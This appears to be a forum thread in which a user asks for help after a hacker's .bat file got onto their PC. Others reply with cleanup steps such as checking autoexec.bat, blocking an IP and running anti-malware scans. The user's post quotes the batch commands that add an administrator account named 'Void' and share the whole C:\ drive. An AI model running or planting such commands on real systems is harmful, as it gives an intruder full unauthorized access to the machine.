HELP ME!
a hacker got a .bat file in my system and now can acsess my files tru his network
the lines of code he used where:
net user Void /add
net localgroup administrators Void /add
net share system=C:\ /unlimited
net send 192.168.1.100 Initiated
hesaid that his ip and subnet are masked
any good programmer that can help undo this? thnx
search -find *.bat and delete
what is the name of the bat file?
now what is running the bat file- how does he access it?
He could be using your autoexec.bat file
(usually not needed with windows)
open autoexec.bat with a TXT editor notepad-wordpad and take a look
it will be in your root directory - or search
unhide system files, show all files and folders
if there delete the offending lines and save as a txt file
you could also block the
192.168.1.100 in your Firewall, hosts file, browser (restricted sites) (all of the above)
if firefox install noscript
let’s also do a scan with malware bytes anti malware
update, scan
put a check next to any hits and click REMOVE CHECKED post the log if any
also rt click the avast ball and update>programs
then open avast and schedule a boot time scan and reboot
send any hits to chest do not delete/remove
then read the stickies at the top of this forum and post a Hijack this (after the above)